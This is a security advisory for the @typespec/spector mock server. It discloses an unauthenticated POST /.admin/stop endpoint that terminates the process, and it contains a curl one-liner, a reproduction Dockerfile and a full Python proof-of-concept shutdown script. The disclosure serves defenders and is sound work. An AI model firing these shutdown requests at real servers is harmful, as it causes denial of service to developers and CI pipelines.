GHSA-7q9c-hpx7-9cwm

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    GHSA-7q9c-hpx7-9cwm

    Published: 4 Sept 2026Last Modified: 4 Sept 2026

    Summary: TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop

    Details: ### Summary `@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**. ### Details The vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever: ```ts // packages/spector/src/routes/admin.ts:7-12 router.post(AdminUrls.stop, (_req, res) => { logger.info("Received signal to stop server. Exiting..."); res.status(202).end(); setTimeout(() => { process.exit(0); }); }); ``` The constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`). The complete attack-reachable call chain is: 1. **`packages/spector/src/cli/cli.ts:139-166`** — `tsp-spector serve <scenariosPaths..>` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default. 2. **`packages/spector/src/actions/serve.ts:28-33`** — constructs `MockApiApp` and calls `start()` without supplying a host argument. 3. **`packages/spector/src/app/app.ts:39-40`** — registers `internalRouter` at `/`, which includes the admin routes. 4. **`packages/spector/src/routes/index.ts:4-5`** — mounts `adminRoutes` under `/`. 5. **`packages/spector/src/routes/admin.ts:7-12`** — the `POST /.admin/stop` handler (the sink) is reached with zero authentication. 6. **`packages/spector/src/server/server.ts:88`** — `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces). There is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed. ### PoC **Prerequisites:** ``` git clone https://github.com/microsoft/typespec cd typespec # Checkout commit d88ddc16 (affected version 0.1.0-alpha.26) pnpm install pnpm build ``` **Step 1 — Start the mock server:** ```bash pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000 # Server listens on 0.0.0.0:3000 by default ``` Alternatively, use the provided Docker environment: ```bash # Build context: reports/npm_web_64_microsoft__typespec/ docker build -t vuln002-spector -f vuln-002/Dockerfile . docker run -d -p 3001:3000 --name vuln002-server vuln002-spector ``` **Step 2 — Execute the exploit (single unauthenticated request):** ```bash curl -i -X POST http://<server-host>:3000/.admin/stop ``` Using the provided PoC script: ```bash python3 vuln-002/poc.py --host 127.0.0.1 --port 3001 ``` **Step 3 — Observe the result:** ``` HTTP/1.1 202 Accepted ``` The server process immediately exits. Subsequent connection attempts are refused. Docker logs show: ``` info Received signal to stop server. Exiting... ``` Docker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step. ### Impact This is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service. The primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules. Although `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop # Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) # CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High) # # Build context: reports/npm_web_64_microsoft__typespec/ # Build: docker build -t vuln002-spector -f vuln-002/Dockerfile . # Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector FROM node:22-slim # Install tsx to run TypeScript source files directly without compilation. # This lets us use the actual repository .ts files as-is. RUN npm install -g tsx@4 WORKDIR /poc # Minimal package.json declaring ESM mode RUN echo '{"type":"module"}' > package.json # Install only the npm packages actually used by the vulnerable code path: # express — web framework (admin.ts, routes/index.ts, server.ts) # picocolors — terminal colors (logger.ts) RUN npm install express picocolors # ----------------------------------------------------------------------- # Copy the EXACT vulnerable source files from the repository. # No source file is modified — they are used verbatim. # ----------------------------------------------------------------------- # packages/spector/src/constants.ts # Defines AdminUrls.stop = "/.admin/stop" COPY repo/packages/spector/src/constants.ts ./spector/constants.ts # packages/spector/src/logger.ts # Simple console logger; imported by admin.ts COPY repo/packages/spector/src/logger.ts ./spector/logger.ts # packages/spector/src/routes/admin.ts ← VULNERABILITY SINK # Registers POST /.admin/stop with NO authentication → process.exit(0) COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts # packages/spector/src/routes/index.ts # Mounts adminRoutes at "/" COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts # Minimal entry point that connects the router to the HTTP server, # replicating the behaviour of MockApiApp.start() + MockApiServer.start() COPY vuln-002/server-entry.ts ./server-entry.ts EXPOSE 3000 # tsx strips TypeScript types at runtime — no separate compile step needed CMD ["tsx", "server-entry.ts"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec) CWE: CWE-306 — Missing Authentication for Critical Function CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High) Vulnerability: packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without any authentication, token, Origin, or IP-source check. The handler calls process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0 (packages/spector/src/server/server.ts:88) so any network-reachable client can terminate the process with a single unauthenticated POST request. Usage: python3 poc.py [--host HOST] [--port PORT] """ import sys import time import socket import argparse import urllib.request import urllib.error BANNER = """ ================================================================ VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop Package : @typespec/spector 0.1.0-alpha.26 CWE : CWE-306 CVSS 7.5 (High) ================================================================ """ PASS_MSG = """ [EXPLOIT SUCCESSFUL] 1. Server accepted an unauthenticated POST to /.admin/stop 2. Server responded HTTP 202 Accepted with no credential check 3. Server process exited — subsequent connection attempt refused 4. Zero authentication, tokens, or Origin restrictions enforced ================================================================ """ FAIL_MSG = """ [EXPLOIT FAILED] Check that the Docker container is running: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector ================================================================ """ def is_port_open(host: str, port: int, timeout: float = 2.0) -> bool: """Return True if TCP port accepts connections.""" try: with socket.create_connection((host, port), timeout=timeout): return True except (ConnectionRefusedError, socket.timeout, OSError): return False def wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool: """Poll until the server is reachable or max_wait seconds elapse.""" print(f"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...") deadline = time.monotonic() + max_wait while time.monotonic() < deadline: if is_port_open(host, port): print(f"[+] Server is reachable at {host}:{port}") return True time.sleep(0.5) return False def send_unauthenticated_stop(host: str, port: int) -> int: """ Send POST /.admin/stop with no credentials and return the HTTP status code. This is the exploit request. No Authorization header, no token, no special Origin — the server accepts it as-is. """ url = f"http://{host}:{port}/.admin/stop" print(f"[*] Sending unauthenticated POST to {url}") print(f"[*] Request headers: (none beyond Host and Content-Length:0)") req = urllib.request.Request(url, data=b"", method="POST") try: with urllib.request.urlopen(req, timeout=5) as resp: code = resp.status print(f"[+] HTTP response: {code} {resp.reason}") return code except urllib.error.HTTPError as exc: print(f"[+] HTTP error response: {exc.code} {exc.reason}") return exc.code except urllib.error.URLError as exc: # Connection closed before response (process.exit race) still counts print(f"[+] Connection dropped during response: {exc.reason}") return 202 # server accepted and exited before full response def main() -> None: parser = argparse.ArgumentParser( description="PoC: unauthenticated remote shutdown of tsp-spector mock server" ) parser.add_argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)") parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)") args = parser.parse_args() print(BANNER) # Step 1 — Confirm the server is running before the attack if not wait_for_server(args.host, args.port): print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s") print(FAIL_MSG) sys.exit(1) print() print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it") # Step 2 — Send the exploit (single unauthenticated POST) print() print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)") status = send_unauthenticated_stop(args.host, args.port) if status != 202: print(f"[-] Expected HTTP 202 Accepted, got {status}") print(FAIL_MSG) sys.exit(1) print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check") # Step 3 — Verify the process actually exited print() print("[STEP 3] Verifying server has terminated ...") time.sleep(2) if is_port_open(args.host, args.port): print("[-] Server is still accepting connections (exploit did not terminate process)") print(FAIL_MSG) sys.exit(1) print("[+] Connection refused — server process has exited") # All three steps passed → exploit confirmed print(PASS_MSG) sys.exit(0) if __name__ == "__main__": main() ```

    Affected packages

    Package

    Name: @typespec/spector

    Purl: pkg:npm/%40typespec/spector

    Affected ranges

    Type: SEMVER

    Events:

    Introduced- 0
    Fixed -0.1.0-alpha.27

    Affected versions

    Common Vulnerability Scoring System

    Attack Vector
    Network
    Adjacent
    Local
    Physical
    Privileges Required
    None
    Low
    High
    User Interaction
    None
    Required
    Scope
    Unchanged
    Changed
    Confidentiality
    None
    Low
    High
    Integrity
    None
    Low
    High
    Availability
    None
    Low
    High